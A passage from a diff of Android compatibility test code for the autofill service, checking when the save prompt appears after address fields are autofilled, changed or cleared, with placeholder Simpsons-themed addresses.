+        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+
+        // Validation check.
+        mUiBot.assertNoDatasetsEver();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started.
+        sReplier.getNextFillRequest();
+
+        // Manually fill fields...
+        mActivity.syncRunOnUiThread(changes);
+
+        // ...then tap save.
+        mActivity.save();
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
+    }
+
+    @Test
+    public void testAutofillAllChangedAllSaveAll() throws Exception {
+        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
+                "Shelbyville", "Lemon");
+        autofillAndSaveOnChangeTest(new CannedDataset.Builder()
+                // Initial dataset
+                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                .setField(ID_CITY, "Shelbyville")
+                .setField(ID_FAVORITE_COLOR, "Lemon"),
+                // Changes
+                () -> {
+                    mActivity.mAddress1.setText("742 Evergreen Terrace"); // required
+                    mActivity.mAddress2.setText("Simpsons House"); // not required
+                    mActivity.mCity.setText("Springfield"); // required
+                    mActivity.mFavoriteColor.setText("Yellow"); // lol
+                }, (s) -> {
+                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1),
+                            "742 Evergreen Terrace");
+                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "Simpsons House");
+                    assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Springfield");
+                    assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "Yellow");
+                });
+    }
+
+    @Test
+    public void testAutofillAllChangedFirstRequiredSaveAll() throws Exception {
+        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
+                "Shelbyville", "Lemon");
+        autofillAndSaveOnChangeTest(new CannedDataset.Builder()
+                // Initial dataset
+                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                .setField(ID_CITY, "Shelbyville")
+                .setField(ID_FAVORITE_COLOR, "Lemon"),
+                // Changes
+                () -> {
+                    mActivity.mAddress1.setText("742 Evergreen Terrace"); // required
+                },
+                // Final state
+                (s) -> {
+                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1),
+                            "742 Evergreen Terrace");
+                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "Shelbyville Bluffs");
+                    assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Shelbyville");
+                    assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "Lemon");
+                });
+    }
+
+    @Test
+    public void testAutofillAllChangedSecondRequiredSaveAll() throws Exception {
+        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
+                "Shelbyville", "Lemon");
+        autofillAndSaveOnChangeTest(new CannedDataset.Builder()
+                // Initial dataset
+                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                .setField(ID_CITY, "Shelbyville")
+                .setField(ID_FAVORITE_COLOR, "Lemon"),
+                // Changes
+                () -> {
+                    mActivity.mCity.setText("Springfield"); // required
+                },
+                // Final state
+                (s) -> {
+                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1),
+                            "Shelbyville Nuclear Power Plant");
+                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "Shelbyville Bluffs");
+                    assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Springfield");
+                    assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "Lemon");
+                });
+    }
+
+    @Test
+    public void testAutofillAllChangedOptionalSaveAll() throws Exception {
+        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
+                "Shelbyville", "Lemon");
+        autofillAndSaveOnChangeTest(new CannedDataset.Builder()
+                // Initial dataset
+                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                .setField(ID_CITY, "Shelbyville")
+                .setField(ID_FAVORITE_COLOR, "Lemon"),
+                // Changes
+                () -> {
+                    mActivity.mAddress2.setText("Simpsons House"); // not required
+                },
+                // Final state
+                (s) -> {
+                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1),
+                            "Shelbyville Nuclear Power Plant");
+                    assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "Simpsons House");
+                    assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Shelbyville");
+                    assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "Lemon");
+                });
+    }
+
+    /**
+     * Tests the scenario where the service autofilled the activity but the user changed fields
+     * that triggered Save.
+     */
+    private void autofillAndSaveOnChangeTest(CannedDataset.Builder dataset, Runnable changes,
+            Visitor<AssistStructure> assertions) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(newResponseBuilder()
+                .addDataset(dataset.setPresentation(createPresentation("Da Dataset")).build())
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mAddress1.requestFocus();
+        });
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started.
+        sReplier.getNextFillRequest();
+
+        // Auto-fill it.
+        mUiBot.selectDataset("Da Dataset");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Manually fill fields...
+        mActivity.syncRunOnUiThread(changes);
+
+        // ...then tap save.
+        mActivity.save();
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
+
+        // Assert value of fields
+        assertions.visit(saveRequest.structure);
+    }
+
+    @Test
+    public void testAutofillAllChangedIgnored() throws Exception {
+        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
+                "Shelbyville", "Lemon");
+        autofillNoChangeNoSaveTest(new CannedDataset.Builder()
+                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                .setField(ID_CITY, "Shelbyville")
+                .setField(ID_FAVORITE_COLOR, "Lemon"), () -> {
+                    mActivity.mFavoriteColor.setText("Yellow"); // lol
+                });
+    }
+
+    @Test
+    public void testAutofillAllFirstRequiredChangedToEmpty() throws Exception {
+        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
+                "Shelbyville", "Lemon");
+        autofillNoChangeNoSaveTest(new CannedDataset.Builder()
+                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                .setField(ID_CITY, "Shelbyville")
+                .setField(ID_FAVORITE_COLOR, "Lemon"), () -> {
+                    mActivity.mAddress1.setText("");
+                });
+    }
+
+    @Test
+    public void testAutofillAllSecondRequiredChangedToNull() throws Exception {
+        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
+                "Shelbyville", "Lemon");
+        autofillNoChangeNoSaveTest(new CannedDataset.Builder()
+                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                .setField(ID_CITY, "Shelbyville")
+                .setField(ID_FAVORITE_COLOR, "Lemon"), () -> {
+                    mActivity.mCity.setText(null);
+                });
+    }
+
+    @Test
+    public void testAutofillAllFirstRequiredChangedBackToInitialState() throws Exception {
+        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
+                "Shelbyville", "Lemon");
+        autofillNoChangeNoSaveTest(new CannedDataset.Builder()
+                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                .setField(ID_CITY, "Shelbyville")
+                .setField(ID_FAVORITE_COLOR, "Lemon"), () -> {
+                    mActivity.mAddress1.setText("I'm different");
+                    mActivity.mAddress1.setText("Shelbyville Nuclear Power Plant");
+                });
+    }
+
+    /**
+     * Tests the scenario where the service autofilled the activity and the user changed fields,
+     * but it did not triggered Save.
+     */
+    private void autofillNoChangeNoSaveTest(CannedDataset.Builder dataset, Runnable changes)
+            throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(newResponseBuilder()
+                .addDataset(dataset.setPresentation(createPresentation("Da Dataset")).build())
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started.
+        sReplier.getNextFillRequest();
+
+        // Auto-fill it.
+        mUiBot.selectDataset("Da Dataset");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Manually fill fields...
+        mActivity.syncRunOnUiThread(changes);
+
+        // ...then tap save.
+        mActivity.save();
+
+        // Assert the snack bar is not shown.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
+    }
+
+    @Test
+    public void testDontShowSaveUiWhenUserManuallyFilledSameValue_oneDatasetAllRequiredFields()
+            throws Exception {
+        saveWhenUserFilledDatasetFields(
+                new String[] {ID_ADDRESS1, ID_ADDRESS2},
+                null,
+                () -> {
+                    mActivity.mAddress1.setText("742 Evergreen Terrace");
+                    mActivity.mAddress2.setText("Simpsons House");
+                },
+                EXPECT_NO_SAVE_UI,
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SF"))
+                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                    .setField(ID_ADDRESS2, "Simpsons House")
+                    .build()
+        );
+    }
+
+    @Test
+    public void testDontShowSaveUiWhenManuallyFilledSameValue_oneDatasetRequiredAndOptionalFields()
+            throws Exception {
+        saveWhenUserFilledDatasetFields(
+                new String[]{ID_ADDRESS1},
+                new String[]{ID_ADDRESS2},
+                () -> {
+                    mActivity.mAddress1.setText("742 Evergreen Terrace");
+                    mActivity.mAddress2.setText("Simpsons House");
+                },
+                EXPECT_NO_SAVE_UI,
+                new CannedDataset.Builder()
+                        .setPresentation(createPresentation("SF"))
+                        .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                        .setField(ID_ADDRESS2, "Simpsons House")
+                        .build()
+        );
+    }
+
+    @Test
+    public void testDontShowSaveUiWhenUserManuallyFilledSameValue_multipleDatasetsDataOnFirst()
+            throws Exception {
+        saveWhenUserFilledDatasetFields(
+                new String[] {ID_ADDRESS1},
+                new String[] {ID_ADDRESS2},
+                () -> {
+                    mActivity.mAddress1.setText("742 Evergreen Terrace");
+                    mActivity.mAddress2.setText("Simpsons House");
+                },
+                EXPECT_NO_SAVE_UI,
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SF"))
+                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                    .setField(ID_ADDRESS2, "Simpsons House")
+                    .build(),
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SV"))
+                    .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                    .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                    .build()
+        );
+    }
+
+    @Test
+    public void testDontShowSaveUiWhenUserManuallyFilledSameValue_multipleDatasetsDataOnSecond()
+            throws Exception {
+        saveWhenUserFilledDatasetFields(
+                new String[] {ID_ADDRESS1},
+                new String[] {ID_ADDRESS2},
+                () -> {
+                    mActivity.mAddress1.setText("Shelbyville Nuclear Power Plant");
+                    mActivity.mAddress2.setText("Shelbyville Bluffs");
+                },
+                EXPECT_NO_SAVE_UI,
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SF"))
+                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                    .setField(ID_ADDRESS2, "Simpsons House")
+                    .build(),
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SV"))
+                    .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                    .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                    .build()
+        );
+    }
+
+    @Test
+    public void testDontShowSaveUiWhenUserManuallyFilledSameValue_requiredOnly()
+            throws Exception {
+        saveWhenUserFilledDatasetFields(
+                new String[] {ID_ADDRESS1},
+                new String[] {ID_ADDRESS2},
+                () -> {
+                    mActivity.mAddress1.setText("742 Evergreen Terrace");
+                },
+                EXPECT_NO_SAVE_UI,
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SF"))
+                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                    .setField(ID_ADDRESS2, "Simpsons House")
+                    .build()
+        );
+    }
+
+    @Test
+    public void testDontShowSaveUiWhenUserManuallyFilledSameValue_optionalOnly()
+            throws Exception {
+        saveWhenUserFilledDatasetFields(
+                new String[] {ID_ADDRESS1},
+                new String[] {ID_ADDRESS2},
+                () -> {
+                    mActivity.mAddress2.setText("Simpsons House");
+                },
+                EXPECT_NO_SAVE_UI,
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SF"))
+                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                    .setField(ID_ADDRESS2, "Simpsons House")
+                    .build()
+        );
+    }
+
+    @Test
+    public void testDontShowSaveUiWhenUserManuallyFilledSameValue_optionalsOnlyNoRequired()
+            throws Exception {
+        saveWhenUserFilledDatasetFields(
+                null,
+                new String[] {ID_ADDRESS2, ID_CITY},
+                () -> {
+                    mActivity.mCity.setText("Springfield");
+                },
+                EXPECT_NO_SAVE_UI,
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SF"))
+                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                    .setField(ID_ADDRESS2, "Simpsons House")
+                    .setField(ID_CITY, "Springfield")
+                    .build()
+        );
+    }
+
+    @Test
+    public void testShowSaveUiWhenUserManuallyFilledDifferentValue_requiredOnly()
+            throws Exception {
+        saveWhenUserFilledDatasetFields(
+                new String[] {ID_ADDRESS1},
+                new String[] {ID_ADDRESS2},
+                () -> {
+                    mActivity.mAddress1.setText("Shelbyville Nuclear Power Plant");
+                },
+                EXPECT_SAVE_UI,
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SF"))
+                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                    .setField(ID_ADDRESS2, "Simpsons House")
+                    .build()
+        );
+    }
+
+    @Test
+    public void testShowSaveUiWhenUserManuallyFilledDifferentValue_optionalOnly()
+            throws Exception {
+        saveWhenUserFilledDatasetFields(
+                null,
+                new String[] {ID_ADDRESS2},
+                () -> {
+                    mActivity.mAddress2.setText("Shelbyville Bluffs");
+                },
+                EXPECT_SAVE_UI,
+                new CannedDataset.Builder()
+                    .setPresentation(createPresentation("SF"))
+                    .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                    .setField(ID_ADDRESS2, "Simpsons House")
+                    .build()
+        );
+    }
+
+    private void saveWhenUserFilledDatasetFields(@Nullable String[] requiredIds,
+            @Nullable String[] optionalIds, @NonNull Runnable changes, boolean expectSaveUi,
+            @NonNull CannedDataset...datasets) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final CannedFillResponse.Builder response = new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, requiredIds);
+        if (optionalIds != null) {
+            response.setOptionalSavableIds(optionalIds);
+        }
+        for (CannedDataset dataset : datasets) {
+            response.addDataset(dataset);
+        }
+        sReplier.addResponse(response.build());
+
+        // Trigger auto-fill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Manually fill it.
+        mActivity.syncRunOnUiThread(changes);
+
+        // ...then tap save.
+        mActivity.save();
+
+        // Make sure the snack bar is shown as expected.
+        if (expectSaveUi) {
+            mUiBot.assertSaveShowing(SAVE_DATA_TYPE_ADDRESS);
+        } else {
+            mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
+        }
+    }
+
+    @Test
+    public void testDontShowSaveUiWhenUserClearedAutofilledFieldThatIsRequired() throws Exception {
+        // Set service.
+        enableService();
+
+        mActivity.expectAutoFill("742 Evergreen Terrace", "Simpsons House",
+                "Springfield", "Yellow");
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, ID_ADDRESS1, ID_ADDRESS2)
+                .setOptionalSavableIds(ID_CITY)
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("SF"))
+                        .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                        .setField(ID_ADDRESS2, "Simpsons House")
+                        .setField(ID_CITY, "Springfield")
+                        .setField(ID_FAVORITE_COLOR, "Yellow")
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+        sReplier.getNextFillRequest();
+
+        mUiBot.selectDataset("SF");
+        mActivity.assertAutoFilled();
+
+        // Clear the field.
+        mActivity.syncRunOnUiThread(() -> mActivity.mAddress2.setText(""));
+
+        // Trigger save...
+        mActivity.save();
+
+        // ...and make sure the snack bar is not shown.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
+    }
+
+    @Test
+    public void testShowSaveUiWhenUserClearedAutofilledFieldThatIsOptional() throws Exception {
+        // Set service.
+        enableService();
+
+        mActivity.expectAutoFill("742 Evergreen Terrace", "Simpsons House",
+                "Springfield", "Yellow");
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, ID_ADDRESS1, ID_ADDRESS2)
+                .setOptionalSavableIds(ID_CITY)
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("SF"))
+                        .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                        .setField(ID_ADDRESS2, "Simpsons House")
+                        .setField(ID_CITY, "Springfield")
+                        .setField(ID_FAVORITE_COLOR, "Yellow")
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+        sReplier.getNextFillRequest();
+
+        mUiBot.selectDataset("SF");
+        mActivity.assertAutoFilled();
+
+        // Clear the field.
+        mActivity.syncRunOnUiThread(() -> mActivity.mCity.setText(""));
+
+        // Trigger save...
+        mActivity.save();
+
+        // ...and make sure the snack bar is shown.
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
+
+        // Finally, assert values.
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS1),
+                "742 Evergreen Terrace");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS2),
+                "Simpsons House");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_CITY), "");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_FAVORITE_COLOR),
+                "Yellow");
+    }
+
+    @Test
+    public void testShowUpdateWhenUserChangedOptionalValueFromDatasetAndRequiredNotFromDataset()
+            throws Exception {
+        // Set service.
+        enableService();
+
+        // Address 2 will be required but not available
+        mActivity.expectAutoFill("742 Evergreen Terrace", null, "Springfield", "Yellow");
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, ID_ADDRESS1, ID_ADDRESS2)
+                .setOptionalSavableIds(ID_CITY)
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("SF"))
+                        .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+                        .setField(ID_CITY, "Springfield")
+                        .setField(ID_FAVORITE_COLOR, "Yellow")
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+        sReplier.getNextFillRequest();
+
+        mUiBot.selectDataset("SF");
+        mActivity.assertAutoFilled();
+
+        // Change required and optional field.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mAddress2.setText("Simpsons House");
+            mActivity.mCity.setText("Shelbyville");
+        });
+        // Trigger save...
+        mActivity.save();
+
+        // ...and make sure the snack bar is shown.
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
+
+        // Finally, assert values.
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS1),
+                "742 Evergreen Terrace");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS2),
+                "Simpsons House");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_CITY), "Shelbyville");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_FAVORITE_COLOR),
+                "Yellow");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/saveui/PreSimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/saveui/PreSimpleSaveActivityTest.java
new file mode 100644
index 0000000..f7a9030
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/saveui/PreSimpleSaveActivityTest.java
@@ -0,0 +1,400 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.saveui;
+
+import static android.autofillservice.cts.activities.LoginActivity.ID_USERNAME_CONTAINER;
+import static android.autofillservice.cts.activities.PreSimpleSaveActivity.ID_PRE_INPUT;
+import static android.autofillservice.cts.activities.SimpleSaveActivity.ID_INPUT;
+import static android.autofillservice.cts.activities.SimpleSaveActivity.ID_LABEL;
+import static android.autofillservice.cts.testcore.Helper.ID_STATIC_TEXT;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.LoginActivity;
+import android.autofillservice.cts.activities.PreSimpleSaveActivity;
+import android.autofillservice.cts.activities.SimpleSaveActivity;
+import android.autofillservice.cts.activities.TrampolineWelcomeActivity;
+import android.autofillservice.cts.activities.WelcomeActivity;
+import android.autofillservice.cts.commontests.CustomDescriptionWithLinkTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.testcore.UiBot;
+import android.service.autofill.BatchUpdates;
+import android.service.autofill.CustomDescription;
+import android.service.autofill.RegexValidator;
+import android.service.autofill.Validator;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+import android.view.autofill.AutofillId;
+import android.widget.RemoteViews;
+
+import java.util.regex.Pattern;
+
+public class PreSimpleSaveActivityTest
+        extends CustomDescriptionWithLinkTestCase<PreSimpleSaveActivity> {
+
+    private static final AutofillActivityTestRule<PreSimpleSaveActivity> sActivityRule =
+            new AutofillActivityTestRule<PreSimpleSaveActivity>(PreSimpleSaveActivity.class, false);
+
+    public PreSimpleSaveActivityTest() {
+        super(PreSimpleSaveActivity.class);
+    }
+
+    @Override
+    protected AutofillActivityTestRule<PreSimpleSaveActivity> getActivityRule() {
+        return sActivityRule;
+    }
+
+    @Override
+    protected void saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction type)
+            throws Exception {
+        startActivity(false);
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
+                .setSaveInfoVisitor((contexts, builder) -> builder
+                        .setCustomDescription(newCustomDescription(WelcomeActivity.class)))
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mPreInput.setText("108");
+            mActivity.mSubmit.performClick();
+        });
+        // Make sure post-save activity is shown...
+        mUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // Tap the link.
+        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+        tapSaveUiLink(saveUi);
+
+        // Make sure new activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // .. then do something to return to previous activity...
+        switch (type) {
+            case ROTATE_THEN_TAP_BACK_BUTTON:
+                mUiBot.setScreenOrientation(UiBot.LANDSCAPE);
+                WelcomeActivity.assertShowingDefaultMessage(mUiBot);
+                // not breaking on purpose
+            case TAP_BACK_BUTTON:
+                mUiBot.pressBack();
+                break;
+            case FINISH_ACTIVITY:
+                // ..then finishes it.
+                WelcomeActivity.finishIt();
+                break;
+            default:
+                throw new IllegalArgumentException("invalid type: " + type);
+        }
+
+        // ... and tap save.
+        final UiObject2 newSaveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+        mUiBot.saveForAutofill(newSaveUi, true);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PRE_INPUT), "108");
+    }
+
+    @Override
+    protected void tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction action,
+            boolean manualRequest) throws Exception {
+        startActivity(false);
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
+                .setSaveInfoVisitor((contexts, builder) -> builder
+                        .setCustomDescription(newCustomDescription(WelcomeActivity.class)))
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mPreInput.setText("108");
+            mActivity.mSubmit.performClick();
+        });
+        // Make sure post-save activity is shown...
+        mUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // Tap the link.
+        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+        tapSaveUiLink(saveUi);
+
+        // Make sure new activity is shown...
+        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Tap back to restore the Save UI...
+        mUiBot.pressBack();
+
+        // ...but don't tap it...
+        final UiObject2 saveUi2 = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // ...instead, do something to dismiss it:
+        switch (action) {
+            case TOUCH_OUTSIDE:
+                mUiBot.assertShownByRelativeId(ID_LABEL).longClick();
+                break;
+            case TAP_NO_ON_SAVE_UI:
+                mUiBot.saveForAutofill(saveUi2, false);
+                break;
+            case TAP_YES_ON_SAVE_UI:
+                mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+                final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+                assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PRE_INPUT),
+                        "108");
+                break;
+            default:
+                throw new IllegalArgumentException("invalid action: " + action);
+        }
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Make sure previous session was finished.
+
+        // Now triggers a new session in the new activity (SaveActivity) and do business as usual...
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_EMAIL_ADDRESS, ID_INPUT)
+                .build());
+
+        // Trigger autofill.
+        final SimpleSaveActivity newActivty = SimpleSaveActivity.getInstance();
+        if (manualRequest) {
+            newActivty.getAutofillManager().requestAutofill(newActivty.mInput);
+        } else {
+            newActivty.syncRunOnUiThread(() -> newActivty.mPassword.requestFocus());
+        }
+
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        newActivty.syncRunOnUiThread(() -> {
+            newActivty.mInput.setText("42");
+            newActivty.mCommit.performClick();
+        });
+        // Make sure post-save activity is shown...
+        mUiBot.assertShownByRelativeId(ID_INPUT);
+
+        // Save it...
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_EMAIL_ADDRESS);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "42");
+    }
+
+    @Override
+    protected void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
+            throws Exception {
+        startActivity(false);
+        // Set service.
+        enableService();
+
